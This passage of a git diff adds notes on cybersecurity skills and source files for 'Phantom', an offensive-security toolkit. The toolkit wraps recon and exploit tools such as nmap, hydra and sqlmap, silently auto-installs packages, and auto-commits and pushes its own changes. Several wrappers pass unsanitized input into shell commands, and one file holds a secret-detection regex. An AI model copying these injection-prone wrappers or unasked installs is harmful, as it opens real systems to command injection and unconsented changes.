HackerSploit — "Top 5 Skills to Learn to Get Into Cybersecurity" +URL: https://youtube.com/watch?v=Kx4y9c7w2JQ + +## Top 5 Skills + +### 1. Building and Using Virtual Machines +- VMs run on top of existing "host" OS via a "hypervisor" +- Hypervisors: Hyper-V (Microsoft), VirtualBox (Oracle), VMware, KVM +- "Cloud" = thousands of VMs on specialized hypervisors in datacenters +- Key: be platform-agnostic, comfortable with ALL operating systems +- Use VMs for: training, sandboxing, analyzing suspect files, exploit testing +- Snapshots let you restore to an earlier state + +### 2. Learn the Command Line +- CLI = Shell = most efficient way to interact with an OS +- Shell wraps around the Kernel (the core of the OS) +- Bash = Bourne-again Shell, default on most Linux distros +- Zsh = Z-Shell (macOS default, nicer features) +- PowerShell = go-to native shell for Windows +- WSL (Windows Subsystem for Linux) runs Linux shells natively on Windows +- CLI enables scripting, automation, and tool access without GUIs + +### 3. System Administration +- Configuring and maintaining computers (personal devices to servers) +- Know your platform and tools inside and out +- Push limits: delete + recover files, analyze malware in VMs, extract passwords +- Learn by doing: read guides, follow along, practice daily + +### 4. Computer Networking +- The "laws of physics" for cyberspace +- Two models: TCP/IP (4 layers) and OSI (7 layers) + - TCP/IP: network access, internet, transport, application + - OSI: physical, datalink, network, transport, session, presentation, application +- Layers help describe "what's happening where" — like postal service logistics +- Strong networking = rockstar troubleshooting in red, blue, or IT ops + +### 5. Personal Digital Security +- Passwords, encryption, secure communications +- Stay current with security news and best practices +- Cybercrime industry is booming — IoT expands attack surface +- Practice what you preach: many breaches originate from IT/SOC staff +- Be the subject-matter expert others turn to for advice + +## Key Takeaways +- Skills > Certs. What you can DO > what you KNOW +- Be versatile across platforms, not locked into one +- Automation via CLI makes you valuable +- Networking knowledge lets you "see the matrix" +- Security starts with yourself diff --git a/lib/config.mjs b/lib/config.mjs new file mode 100644 index 0000000000000000000000000000000000000000..36d45cd5325e4aeaa6d018441327161e468396bd --- /dev/null +++ b/lib/config.mjs @@ -0,0 +1,15 @@ +// Phantom — shared directory constants +// Zero-dep ESM. Imported by phantom.mjs and lib modules. +import { homedir } from "os"; +import { resolve } from "path"; + +export const BASE_DIR = resolve(homedir(), ".config", "phantom"); +export const MEMORY_DIR = resolve(BASE_DIR, "memory"); +export const KNOWLEDGE_DIR = resolve(BASE_DIR, "knowledge"); +export const BOOKS_DIR = resolve(BASE_DIR, "books"); +export const TOOLS_DIR = resolve(BASE_DIR, "tools"); +export const REPORTS_DIR = resolve(BASE_DIR, "reports"); +export const PLAYBOOKS_DIR = resolve(BASE_DIR, "playbooks"); +export const HACKBOOK_DIR = resolve(BASE_DIR, "hackbook"); +export const MISSIONS_DIR = resolve(BASE_DIR, "missions"); +export const PHANTOM_VERSION = "0.2.0"; diff --git a/lib/dashboard.mjs b/lib/dashboard.mjs new file mode 100644 index 0000000000000000000000000000000000000000..90b115c33746daa2b97333358b3f324e88921bff --- /dev/null +++ b/lib/dashboard.mjs @@ -0,0 +1,846 @@ +// Phantom — Dashboard embedded HTML/CSS/JS +// VS Code-style IDE layout with sidebar, activity bar, bottom panel +// Dark neon hacker theme — violet/cyan + +export const DASHBOARD_HTML = `Phantom Dashboard + +
+
+
+
💬
+
◈
+
◆
+
■
+
📊
+
⌘
+
+ + + +
+
+
+

+          

⋊ PHANTOM ⋉

+

Select a tool from the sidebar or press ⌘ to open the command palette

+
+ + + +
+
+
+ +
+
+
OUTPUT
+
INFO
+
+ ⊘ + _ +
+
+
⧩ ready
+
+ +
+
+ connected + — tools + lv1 +
+
+ ⋉ phantom v0.2.0 ⋊ +
+
+
+ +
+
+ +
+
+
+ +`; \ No newline at end of file diff --git a/lib/env.mjs b/lib/env.mjs new file mode 100644 index 0000000000000000000000000000000000000000..6546431407de949ce2f1f0eff6cb89ab23f466d9 --- /dev/null +++ b/lib/env.mjs @@ -0,0 +1,231 @@ +// Phantom — Environment auto-detection +// Lazy singleton: fast checks on first access, cached in __r.ENV + +import { execFileSync, spawn } from "child_process"; + +// ── Cache ── +let _populated = false; + +// ── Quick binary check (which, cached) ── +const _binCache = {}; +function hasBin(name) { + if (name in _binCache) return _binCache[name]; + try { execFileSync("which", [name], { timeout: 2000, stdio: "pipe" }); _binCache[name] = true; } + catch { _binCache[name] = false; } + return _binCache[name]; +} + +// ── Security/network tool categories ── +const RECON_BINS = ["nmap","masscan","subfinder","amass","whois","dig","nslookup","dnsx","shuffledns"]; +const EXPLOIT_BINS = ["sqlmap","metasploit","searchsploit","hydra","john","hashcat","nuclei","ffuf","gobuster"]; +const DEV_BINS = ["python3","python","go","rustc","gcc","make","git","curl","wget","jq"]; +const NET_BINS = ["ping","traceroute","netstat","ss","iptables","ufw"]; +const BROWSER_BINS = ["google-chrome","chromium","firefox","chromium-browser"]; +const ALL_BINS = [...RECON_BINS, ...EXPLOIT_BINS, ...DEV_BINS, ...NET_BINS, ...BROWSER_BINS]; + +// Binary name → apt package name mapping +const PKG_MAP = { + nmap:"nmap", masscan:"masscan", whois:"whois", dig:"dnsutils", hydra:"hydra", + john:"john", hashcat:"hashcat", traceroute:"traceroute", netstat:"net-tools", + ss:"iproute2", nikto:"nikto", dirb:"dirb", whatweb:"whatweb", wafw00f:"wafw00f", + aircrack:"aircrack-ng", tshark:"tshark", sqlmap:"sqlmap", dnsrecon:"dnsrecon", +}; +// Estimated installed size in KB (from apt-cache show). hashcat=145MB is excluded. +const PKG_SIZE = { + nmap:4156, masscan:464, whois:300, dig:1200, hydra:1006, john:403, + hashcat:148553, traceroute:216, netstat:1072, ss:3703, nikto:1862, + dirb:1594, whatweb:19206, wafw00f:260, aircrack:2491, tshark:398, + sqlmap:15000, dnsrecon:200, +}; + +function detectTools() { + const tools = {}; + try { + const script = ALL_BINS.map(t => `command -v ${t} 2>/dev/null && echo BIN:${t}`).join(";"); + let out; + try { + out = execFileSync("sh", ["-c", script], { timeout: 5000, stdio: ["pipe","pipe","pipe"] }).toString(); + } catch (e) { + // Some commands fail (tools not found) — still read partial stdout + out = e.stdout?.toString() || ""; + } + const found = new Set(out.trim().split("\n").filter(l => l.startsWith("BIN:")).map(l => l.slice(4))); + for (const t of ALL_BINS) tools[t] = found.has(t); + } catch { for (const t of ALL_BINS) tools[t] = false; } + return tools; +} + +// ── Package manager ── +function detectPkgManager() { + if (hasBin("apt")) return "apt"; + if (hasBin("apk")) return "apk"; + if (hasBin("yum")) return "yum"; + if (hasBin("dnf")) return "dnf"; + if (hasBin("pacman")) return "pacman"; + if (hasBin("brew")) return "brew"; + if (hasBin("pkg")) return "pkg"; + return null; +} + +// ── Shell ── +function detectShell() { return process.env.SHELL?.split("/").pop() || "sh"; } + +// ── Network ── +function detectNetwork() { + const info = { online: false, publicIP: null, dns: null, proxy: null }; + try { execFileSync("sh", ["-c", "timeout 3 curl -s --max-time 3 https://1.1.1.1 >/dev/null 2>&1 || timeout 3 ping -c 1 -W 2 8.8.8.8 2>/dev/null"], { timeout: 5000 }); info.online = true; } catch {} + try { + const out = execFileSync("sh", ["-c", "timeout 3 dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null || timeout 3 curl -s --max-time 3 ifconfig.me 2>/dev/null || timeout 3 curl -s --max-time 3 icanhazip.com 2>/dev/null"], { timeout: 5000, stdio: ["pipe","pipe","pipe"] }); + const ip = out.toString().trim(); + if (ip) { info.publicIP = ip; info.online = true; } + } catch {} + if (process.env.HTTP_PROXY || process.env.https_proxy) info.proxy = process.env.HTTP_PROXY || process.env.https_proxy; + if (process.env.HTTPS_PROXY || process.env.https_proxy) info.proxy = info.proxy || process.env.HTTPS_PROXY; + try { + const out = execFileSync("sh", ["-c", "grep '^nameserver' /etc/resolv.conf 2>/dev/null | head -1 | awk '{print $2}'"], { timeout: 2000 }); + const dns = out.toString().trim(); + if (dns) info.dns = dns; + } catch {} + return info; +} + +// ── System resources ── +function detectResources() { + const r = { cpu: 0, mem: 0, memFree: 0, diskFree: 0, arch: process.arch }; + try { r.cpu = parseInt(execFileSync("nproc",[],{timeout:2000}).toString().trim()) || 0; } + catch { + try { r.cpu = parseInt(execFileSync("sh",["-c","grep -c ^processor /proc/cpuinfo 2>/dev/null || echo 1"],{timeout:2000}).toString().trim()) || 1; } + catch { r.cpu = 1; } + } + try { + const out1 = execFileSync("sh",["-c","grep MemTotal /proc/meminfo 2>/dev/null | awk '{print $2}' || echo 0"],{timeout:2000}); + r.mem = parseInt(out1.toString().trim()) || 0; + const out2 = execFileSync("sh",["-c","grep MemAvailable /proc/meminfo 2>/dev/null | awk '{print $2}' || grep MemFree /proc/meminfo 2>/dev/null | awk '{print $2}' || echo 0"],{timeout:2000}); + r.memFree = parseInt(out2.toString().trim()) || 0; + } catch {} + try { + const df = execFileSync("sh",["-c","df / 2>/dev/null | tail -1 | awk '{print $4}'"],{timeout:2000}); + const kb = parseInt(df.toString().trim()); + if (!isNaN(kb)) r.diskFree = kb; + } catch {} + return r; +} + +const CORE_TOOLS = ["curl","wget","git","jq","python3"]; + +// Auto-install core missing tools (skips if disk < 50MB). +// Returns: >0 installed, 0 nothing needed, -1 install failed, -2 disk too low +export function autoInstallCore(envTools) { + if (!envTools?.pkgMgr || envTools.pkgMgr !== "apt") return 0; + if (envTools.resources?.diskFree < 50*1024) return -2; + if (!envTools.tools) return 0; + const missing = CORE_TOOLS.filter(t => envTools.tools[t] === false); + if (!missing.length) return 0; + try { + execFileSync("apt",["install","-y",...missing],{timeout:120000,stdio:"pipe"}); + for (const t of missing) { + try { execFileSync("which",[t],{timeout:2000,stdio:"pipe"}); envTools.tools[t] = true; } catch {} + } + return missing.length; + } catch { return -1; } +} + +// Auto-install missing security tools (background, non-blocking). +// Picks smallest tools first, skips hashcat (145MB). Runs at most once. +let _autoSecurityStarted = false; +export function autoInstallSecurity(envTools, logFn) { + if (_autoSecurityStarted) return; + if (!envTools?.pkgMgr || envTools.pkgMgr !== "apt") return; + if (envTools.resources?.diskFree < 200*1024) return; // need 200MB+ free + if (!envTools.tools) return; + + const missingBins = Object.entries(envTools.tools) + .filter(([k,v]) => !v && PKG_MAP[k]) + .map(([k]) => k); + + // Skip hashcat (145MB), sort remaining by size (smallest first) + const targets = missingBins + .filter(t => t !== "hashcat" && t !== "sqlmap") // skip biggest + .sort((a, b) => (PKG_SIZE[a] || 999999) - (PKG_SIZE[b] || 999999)) + .slice(0, 15); // max 15 packages + + if (!targets.length) return; + _autoSecurityStarted = true; + + const pkgs = targets.map(t => PKG_MAP[t]); + const totalEst = targets.reduce((s, t) => s + (PKG_SIZE[t] || 0), 0); + const neededKb = totalEst + 50000; // +50MB margin for deps + + if (envTools.resources.diskFree < neededKb) { + if (logFn) logFn(`[env] Need ~${Math.round(neededKb/1024)}MB for security tools, only ${Math.round(envTools.resources.diskFree/1024)}MB free — skipping auto-install`); + _autoSecurityStarted = false; + return; + } + + if (logFn) logFn(`[env] Auto-installing ${targets.length} security tools (${Math.round(totalEst/1024)}MB)...`); + + const proc = spawn("apt", ["install", "-y", ...pkgs], { stdio: ["pipe", "pipe", "pipe"], timeout: 300000 }); + let output = ""; + proc.stdout.on("data", d => { output += d.toString(); }); + proc.stderr.on("data", d => { output += d.toString(); }); + + proc.on("close", (code) => { + if (code === 0 && logFn) { + // Refresh tool detection + const freshTools = detectTools(); + Object.assign(envTools.tools, freshTools); + const now = Object.entries(freshTools).filter(([,v]) => v).length; + if (logFn) logFn(`[env] ✓ ${targets.length} tools installed (${now}/${Object.keys(freshTools).length} available)`); + } else { + if (logFn) logFn(`[env] ✗ apt install exited code ${code} — will retry next startup`); + _autoSecurityStarted = false; // allow retry + } + }); + proc.on("error", (e) => { if (logFn) logFn(`[env] ✗ apt install error: ${e.message}`); _autoSecurityStarted = false; }); +} + +// ── Public API ── +export function populateEnv(existingEnv = {}) { + if (_populated) return; + _populated = true; + + const tools = detectTools(); + const pkgMgr = detectPkgManager(); + const shell = detectShell(); + const network = detectNetwork(); + const resources = detectResources(); + + // Auto-install core missing tools + const installed = autoInstallCore({ pkgMgr, tools, resources }); + if (installed > 0) { + const freshTools = detectTools(); + Object.assign(tools, freshTools); + } + + const availableCount = Object.values(tools).filter(Boolean).length; + const totalChecked = Object.keys(tools).length; + + Object.assign(existingEnv, { tools, pkgMgr, shell, network, resources, availableTools: availableCount, totalChecked }); +} + +export function getEnvSummary(env) { + const lines = []; + lines.push(`Platform: ${env.platform || "?"}`); + lines.push(`Shell: ${env.shell || "?"}`); + lines.push(`Terminal: ${env.terminal || "?"}`); + lines.push(`Colors: ${env.hasTrueColor ? "truecolor" : env.has256 ? "256" : "16"}`); + lines.push(`Screen: ${env.cols}x${env.rows} (${env.screenSize})`); + lines.push(`Package manager: ${env.pkgMgr || "none"}`); + lines.push(`Network: ${env.network?.online ? "online" : "offline"}${env.network?.publicIP ? " · IP: " + env.network.publicIP : ""}${env.network?.dns ? " · DNS: " + env.network.dns : ""}`); + lines.push(`CPU: ${env.resources?.cpu || "?"} cores · RAM: ${Math.round((env.resources?.mem||0)/1024)}MB (${Math.round((env.resources?.memFree||0)/1024)}MB free) · Disk: ${Math.round((env.resources?.diskFree||0)/1024)}MB free`); + + const { tools } = env; + if (tools) { + const avail = Object.entries(tools).filter(([,v]) => v).map(([k]) => k); + const missing = Object.entries(tools).filter(([,v]) => !v).map(([k]) => k); + lines.push(`Tools: ${avail.length}/${Object.keys(tools).length} available`); + lines.push(` Present: ${avail.join(", ")}`); + if (missing.length < 60) lines.push(` Missing: ${missing.join(", ")}`); + } + return lines.join("\n"); +} diff --git a/lib/evolve.mjs b/lib/evolve.mjs new file mode 100644 index 0000000000000000000000000000000000000000..f537fef7e0a556e382b9012a2a66d8068f1abe8b --- /dev/null +++ b/lib/evolve.mjs @@ -0,0 +1,867 @@ +// Phantom — Auto-Evolution Engine +// Self-healing, self-optimizing, self-growing. +// Runs automatically on startup and after tasks. + +import fs from "fs"; +import { execFileSync, execSync } from "child_process"; +import { resolve, join } from "path"; +import { homedir } from "os"; +import { BASE_DIR, TOOLS_DIR, PHANTOM_VERSION } from "./config.mjs"; +import { __r } from "./runtime.mjs"; + +// ── Constants ────────────────────────────────────────────── +const PHANTOM_DIR = resolve(import.meta.dirname, ".."); // project root +const EVOLVE_LOG = resolve(BASE_DIR, "evolve.json"); +const AUTO_TOOLS_DIR = resolve(PHANTOM_DIR, "lib", "auto_tools"); // in-repo so git-tracked + +// ── Git helpers ──────────────────────────────────────────── +function gitRoot() { + try { + const r = execSync("git rev-parse --show-toplevel 2>/dev/null", { encoding: "utf-8", timeout: 5000 }).trim(); + return r || null; + } catch { return null; } +} + +export function gitCommit(files, msg) { + const root = gitRoot(); + if (!root) return false; + try { + // Stage specific files or all changes + if (files && files.length > 0) { + for (const f of files) { + const abs = f.startsWith("/") ? f : resolve(PHANTOM_DIR, f); + if (fs.existsSync(abs)) execSync(`git add "${abs}"`, { cwd: root, encoding: "utf-8", timeout: 10000 }); + } + } else { + execSync("git add -A", { cwd: root, encoding: "utf-8", timeout: 10000 }); + } + // Check if anything staged + const staged = execSync("git diff --cached --stat", { cwd: root, encoding: "utf-8", timeout: 5000 }).trim(); + if (!staged) return false; + execSync(`git commit -m "${msg}"`, { cwd: root, encoding: "utf-8", timeout: 15000 }); + return true; + } catch { return false; } +} + +export function gitPush() { + const root = gitRoot(); + if (!root) return { pushed: false, reason: "no git root" }; + // Check if remote exists + try { + const remotes = execSync("git remote", { cwd: root, encoding: "utf-8", timeout: 5000 }).trim(); + if (!remotes) return { pushed: false, reason: "no remote configured" }; + } catch { return { pushed: false, reason: "no remote" }; } + + // Fetch and check for upstream divergence (misalignment) + try { + const upstream = execSync("git rev-parse --symbolic-full-name @{upstream} 2>/dev/null", { cwd: root, encoding: "utf-8", timeout: 5000 }).trim(); + if (upstream) { + execSync("git fetch origin 2>/dev/null", { cwd: root, encoding: "utf-8", timeout: 30000 }); + const behind = execSync("git rev-list --count HEAD..@{upstream} 2>/dev/null", { cwd: root, encoding: "utf-8", timeout: 5000 }).trim(); + if (parseInt(behind) > 0) return { pushed: false, reason: `${behind} commit(s) behind upstream — pull first` }; + } + } catch { /* no upstream tracking, push anyway */ } + + // Alignment check on the diff + const alignment = verifyDiffAlignment(root); + if (!alignment.ok) return { pushed: false, reason: `alignment: ${alignment.errors[0]}`, alignment }; + + // Push + try { + execSync("git push 2>&1", { cwd: root, encoding: "utf-8", timeout: 60000 }); + return { pushed: true }; + } catch (e) { + return { pushed: false, reason: e.stderr?.slice(0, 200) || e.message }; + } +} + +// ── Diff misalignment check ── +// Scans staged changes for regressions before push. +export function verifyDiffAlignment(root) { + const result = { ok: true, errors: [], warnings: [] }; + + let diffStat; + try { diffStat = execSync("git diff --cached --stat", { cwd: root, encoding: "utf-8", timeout: 5000 }).trim(); } + catch { return result; } + if (!diffStat) { result.warnings.push("no staged changes"); return result; } + + // Extract changed .mjs files + const changedMjs = diffStat.split("\n") + .map(l => l.split("|")[0]?.trim()) + .filter(f => f && f.endsWith(".mjs")); + + // 1. Syntax check every changed .mjs file + for (const f of changedMjs) { + const abs = f.startsWith("/") ? f : resolve(root, f); + if (fs.existsSync(abs)) { + try { execSync(`node --check "${abs}"`, { encoding: "utf-8", timeout: 10000 }); } + catch (e) { + const err = (e.stderr || e.message || "").slice(0, 200); + result.errors.push(`${f}: syntax error — ${err}`); + result.ok = false; + } + } + } + + // 2. Forbid debug artifacts in changed files + const diffContent = execSync("git diff --cached -U0", { cwd: root, encoding: "utf-8", timeout: 5000 }); + if (diffContent) { + // Added lines that are debug artifacts + const additions = diffContent.split("\n").filter(l => l.startsWith("+") && !l.startsWith("+++") && !l.startsWith("+ ")); + const debugPatterns = [/^\+.*console\.(log|debug)\s*\(/m, /^\+.*debugger\s*;?$/m, /^\+.*process\.env\.PHANTOM_GIT_PUSH/m]; + for (const pat of debugPatterns) { + const matches = additions.filter(l => pat.test(l)); + if (matches.length > 0) { + result.warnings.push(`${matches.length} line(s) match ${pat.source} — verify intentional`); + // Don't block for debug warnings, just flag + } + } + + // 3. Check for hardcoded secrets (API keys, tokens, passwords) + const secretPatterns = [/^\+.*(?:api.?key|secret|password|token|passwd)\s*[:=]\s*['\"][^'\"]{8,}['\"]/im]; + for (const pat of secretPatterns) { + if (additions.some(l => pat.test(l))) { + result.errors.push("hardcoded secret detected in staged diff — blocking push"); + result.ok = false; + } + } + + // 4. Check file sizes (no binaries >100KB staged) + try { + const binaryCheck = execSync("git diff --cached --numstat | awk '{sum+=$1} END {print sum+0}'", { cwd: root, encoding: "utf-8", timeout: 5000 }).trim(); + const totalAdditions = parseInt(binaryCheck); + if (totalAdditions > 5000) result.warnings.push(`large diff: ${totalAdditions} additions — verify`); + } catch { /* numstat unavailable */ } + } + + // 5. Run core tests to verify nothing regressed + try { + const testOut = execSync("node test/core.test.mjs 2>&1", { cwd: root, encoding: "utf-8", timeout: 45000 }); + const failMatch = testOut.match(/fail\s+(\d+)/); + if (failMatch && parseInt(failMatch[1]) > 0) { + result.errors.push(`${failMatch[1]} test(s) failing — blocking push`); + result.ok = false; + } + } catch (e) { + result.warnings.push("test runner unavailable — skipping test gate"); + } + + return result; +} + +// ── Known external binaries & their wrapper boilerplate ── +const WRAP_BLUEPRINTS = { + naabu: { + install: "go install github.com/projectdiscovery/naabu/v2/cmd/naabu@latest", + generate: (bin) => `naabu: async (input) => { + try { + const { execSync } = await import("child_process"); + const { resolve } = await import("path"); + const target = input.trim() || ""; + if (!target) return "[naabu] Usage: @naabu| [options]\\nFast port scanner by ProjectDiscovery.\\nExamples:\\n naabu|scanme.org\\n naabu|scanme.org -p 80,443,8443\\n naabu|scanme.org -top-ports 1000"; + const r = execSync(\`naabu \${target}\`, { encoding: "utf-8", timeout: 120000, maxBuffer: 1024 * 1024 }); + return r.trim() || "(no results)"; + } catch (e) { return \`[naabu Error] \${e.stderr?.slice(0, 500) || e.message}\`; } + },` + }, + notify: { + install: "go install github.com/projectdiscovery/notify/cmd/notify@latest", + generate: (bin) => `notify: async (input) => { + try { + const { execSync } = await import("child_process"); + const msg = input.trim(); + if (!msg) return "[notify] Usage: @notify|\\nSend notifications to Slack/Telegram/Discord/etc.\\nRequires ~/.config/notify/provider-config.yaml"; + execSync(\`notify -data <(echo "\${msg}")\`, { encoding: "utf-8", timeout: 15000 }); + return "[notify] Sent"; + } catch (e) { return \`[notify Error] \${e.message}\`; } + },` + }, + puredns: { + install: "go install github.com/d3mondev/puredns/v2@latest", + generate: (bin) => `puredns: async (input) => { + try { + const { execSync } = await import("child_process"); + const args = input.trim(); + if (!args) return "[puredns] Usage: @puredns|\\nFast DNS resolver by d3mondev.\\nExamples:\\n puredns|resolve domains.txt\\n puredns|bruteforce wordlist.txt example.com"; + const r = execSync(\`puredns \${args}\`, { encoding: "utf-8", timeout: 120000, maxBuffer: 1024 * 1024 }); + return r.trim() || "(no results)"; + } catch (e) { return \`[puredns Error] \${e.stderr?.slice(0, 500) || e.message}\`; } + },` + }, + httprobe: { + install: "go install github.com/tomnomnom/httprobe@latest", + generate: (bin) => `httprobe: async (input) => { + try { + const { execSync } = await import("child_process"); + const targets = input.trim(); + if (!targets) return "[httprobe] Usage: @httprobe|\\nProbe for alive HTTP/HTTPS servers. Takes list of hosts.\\nExamples:\\n httprobe|example.com:443\\n httprobe|subs.txt"; + const r = execSync(\`echo "\${targets}" | httprobe\`, { encoding: "utf-8", timeout: 60000, maxBuffer: 1024 * 1024 }); + return r.trim() || "(no alive hosts)"; + } catch (e) { return \`[httprobe Error] \${e.message}\`; } + },` + }, + chaos: { + install: "go install github.com/projectdiscovery/chaos-client/cmd/chaos@latest", + generate: (bin) => `chaos: async (input) => { + try { + const { execSync } = await import("child_process"); + const domain = input.trim(); + if (!domain) return "[chaos] Usage: @chaos|\\nProjectDiscovery Chaos - subdomain enumeration from passive sources.\\nRequires CHAOS_API_KEY env var."; + const r = execSync(\`chaos -d \${domain} -silent\`, { encoding: "utf-8", timeout: 30000, maxBuffer: 1024 * 1024 }); + return r.trim() || "(no subs from Chaos)"; + } catch (e) { return \`[chaos Error] \${e.message}\`; } + },` + }, + uncover: { + install: "go install github.com/projectdiscovery/uncover/cmd/uncover@latest", + generate: (bin) => `uncover: async (input) => { + try { + const { execSync } = await import("child_process"); + const query = input.trim(); + if (!query) return "[uncover] Usage: @uncover|\\nSearch Shodan/Censys/Fofa/Publicwww for hosts.\\nRequires API keys configured in ~/.config/uncover/"; + const r = execSync(\`uncover -q "\${query}" -silent\`, { encoding: "utf-8", timeout: 30000, maxBuffer: 1024 * 1024 }); + return r.trim() || "(no results)"; + } catch (e) { return \`[uncover Error] \${e.message}\`; } + },` + }, + mapcidr: { + install: "go install github.com/projectdiscovery/mapcidr/cmd/mapcidr@latest", + generate: (bin) => `mapcidr: async (input) => { + try { + const { execSync } = await import("child_process"); + const cidr = input.trim(); + if (!cidr) return "[mapcidr] Usage: @mapcidr|\\nCIDR expansion utility by ProjectDiscovery.\\nExamples:\\n mapcidr|192.168.1.0/24\\n mapcidr|-a 2a00:1450:4000::/48"; + const r = execSync(\`mapcidr -cidr \${cidr} -silent\`, { encoding: "utf-8", timeout: 30000, maxBuffer: 1024 * 1024 }); + return r.trim() || "(no results)"; + } catch (e) { return \`[mapcidr Error] \${e.message}\`; } + },` + }, + "subfinder": null, // already wrapped + "httpx": null, // already wrapped + "nuclei": null, // already wrapped + "nmap": null, // already wrapped + "ffuf": null, // already wrapped + "gobuster": null, // already wrapped + "hydra": null, // already wrapped + "masscan": null, // already wrapped + "nikto": null, // already wrapped + "whatweb": null, // already wrapped + "sqlmap": null, // already wrapped + "amass": null, // already wrapped + "dnsx": null, // already wrapped + "gau": null, // already wrapped + "katana": null, // already wrapped + "gitleaks": null, // already wrapped + "s3scanner": null, // already wrapped + "trufflehog": null, // already wrapped + "wafw00f": null, // already wrapped + "arjun": null, // already wrapped + "gospider": null, // already wrapped + "interactsh": null, // already wrapped +}; + +// ── Tools Phantom already wraps (skip) ── +const EXISTING_TOOLS = new Set(Object.keys(WRAP_BLUEPRINTS).filter(k => WRAP_BLUEPRINTS[k] === null)); + +// ── Load evolve state ── +function loadState() { + try { + if (fs.existsSync(EVOLVE_LOG)) return JSON.parse(fs.readFileSync(EVOLVE_LOG, "utf-8")); + } catch {} + return { generation: 1, patches: [], wrappers: [], errors_fixed: 0, last_evolve: null, auto_fixes: [] }; +} + +function saveState(st) { + try { + if (!fs.existsSync(BASE_DIR)) fs.mkdirSync(BASE_DIR, { recursive: true }); + fs.writeFileSync(EVOLVE_LOG, JSON.stringify(st, null, 2), "utf-8"); + } catch {} +} + +// ── 1. Auto-detect missing wrappers ── +// Scan PATH for installed security tools Phantom doesn't wrap yet. +export function detectMissingWrappers() { + const existing = new Set([ + "nmap","sqlmap","searchsploit","ffuf","gobuster","hydra","john","hashcat", + "aircrack-ng","tshark","masscan","nikto","wpscan","dirb","enum4linux", + "smbclient","nc","ncat","socat","curl","wget","git","python3","node", + "docker","kubectl","terraform","yara","clamscan","sslyze","testssl", + "whois","dig","nslookup","host","tcpdump","sqlite3","jq","yt-dlp","ffmpeg", + "subfinder","httpx","nuclei","amass","gau","dnsx","katana","gitleaks", + "s3scanner","gobuster","nmap","sqlmap","whatweb","wafw00f","trufflehog", + "hydra","masscan","nikto","arjun","gospider","cloud_enum","notify", + "interactsh","burpsuite","metasploit","naabu","puredns","httprobe", + "chaos","uncover","mapcidr","crtsh", + ]); + + const found = []; + const candidates = Object.entries(WRAP_BLUEPRINTS).filter(([, v]) => v !== null); + + for (const [bin, blueprint] of candidates) { + if (existing.has(bin)) continue; + try { + execFileSync("which", [bin], { encoding: "utf-8", timeout: 3000 }); + found.push({ bin, blueprint }); + } catch {} + } + return found; +} + +// Generate wrapper code and save it as a proper ESM module +export function generateWrapper(bin, blueprint) { + let code = blueprint.generate(bin); + const dir = AUTO_TOOLS_DIR; + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + // Strip the "name: async (input) => {" prefix and trailing "},\n" suffix + // The blueprints include object-literal formatting we don't need in standalone modules + code = code.replace(/^\w+:\s*async\s*\(\s*input\s*\)\s*=>\s*{/, "").replace(/},\s*$/, "").trim(); + // Wrap in a proper ESM default export + const moduleCode = `// Auto-generated wrapper for ${bin} +// Created by Phantom auto-evolution + +export default async function(input) { +${code} +}\n`; + const filePath = resolve(dir, `${bin}.mjs`); + fs.writeFileSync(filePath, moduleCode, "utf-8"); + return filePath; +} + +// Load all auto-generated tools and return as {name: executeFn} +export async function loadAutoTools() { + const tools = {}; + if (!fs.existsSync(AUTO_TOOLS_DIR)) return tools; + const files = fs.readdirSync(AUTO_TOOLS_DIR).filter(f => f.endsWith(".mjs")); + for (const file of files) { + try { + const name = file.replace(/\.mjs$/, ""); + const mod = await import(resolve(AUTO_TOOLS_DIR, file) + `?t=${Date.now()}`); + const fn = mod.default || mod.execute; + if (typeof fn === "function") tools[name] = fn; + } catch {} + } + return tools; +} + +// ── 2. Auto-fix common tool errors ── +// Patterns that can be auto-patched +function autoInstall(bin) { + // Try to auto-install a missing binary + try { + // Check if npm package exists + execSync(`which npm 2>/dev/null`, { timeout: 3000 }); + execSync(`npm list -g ${bin} 2>/dev/null || npm install -g ${bin} 2>/dev/null`, { timeout: 60000 }); + return { fixed: true, message: `Auto-installed ${bin} via npm` }; + } catch {} + try { + execSync(`which apt 2>/dev/null && apt install -y ${bin} 2>/dev/null`, { timeout: 60000 }); + return { fixed: true, message: `Auto-installed ${bin} via apt` }; + } catch {} + try { + execSync(`which pkg 2>/dev/null && pkg install -y ${bin} 2>/dev/null`, { timeout: 60000 }); + return { fixed: true, message: `Auto-installed ${bin} via pkg` }; + } catch {} + return { fixed: false, message: `${bin} not installed and auto-install failed` }; +} + +const FIX_PATTERNS = [ + { + match: /command not found/i, + fix: async (tool, err) => { + const bin = tool || err.match(/'([^']+)'/)?.[1]; + if (bin) return autoInstall(bin); + return { fixed: false, message: `Tool not installed. Install it and try again.` }; + } + }, + { + match: /Cannot find module/i, + fix: async (tool, err) => { + const mod = err.match(/'([^']+)'/)?.[1]; + if (mod) { + try { + execSync(`npm install ${mod} 2>/dev/null`, { timeout: 60000, cwd: PHANTOM_DIR }); + return { fixed: true, message: `Auto-installed module ${mod}` }; + } catch { + try { + execSync(`npm install ${mod} 2>/dev/null`, { timeout: 60000 }); + return { fixed: true, message: `Auto-installed module ${mod} globally` }; + } catch {} + } + } + return { fixed: false, message: `Missing module ${mod || tool} — could not auto-install` }; + } + }, + { + match: /EACCES|EPERM/i, + fix: async (tool, err) => { + const file = err.match(/'([^']+)'/)?.[1]; + if (file) { + try { + execSync(`chmod +x "${file}" 2>/dev/null`, { timeout: 5000 }); + return { fixed: true, message: `Made ${file} executable` }; + } catch {} + } + return { fixed: false, message: `Permission denied — run with elevated privileges` }; + } + }, + { + match: /ETIMEOUT|ENOTFOUND|fetch.*failed/i, + fix: async (tool, err) => { + return { fixed: false, message: `Network issue — check connectivity and try again` }; + } + }, + { + match: /ENOENT/i, + fix: async (tool, err) => { + return { fixed: false, message: `File/directory not found — verify path exists` }; + } + }, + { + match: /Syntax error.*backquote|EOF in backquote|unclosed.*backtick/i, + fix: async (tool, err) => { + return { fixed: false, message: `Check for unescaped backticks or $() in command` }; + } + }, + { + match: /Shell Error/i, + fix: async (tool, err) => { + return { fixed: false, message: `Shell command failed — check syntax and retry` }; + } + }, +]; + +// Analyze a tool error and attempt auto-fix +export async function analyzeError(tool, errorMessage) { + for (const pattern of FIX_PATTERNS) { + if (pattern.match.test(errorMessage)) { + const result = await pattern.fix(tool, errorMessage); + if (result) { + const st = loadState(); + st.errors_fixed++; + st.auto_fixes.push({ ts: new Date().toISOString(), tool, error: errorMessage.slice(0, 100), fix: result.message }); + saveState(st); + return result; + } + } + } + return 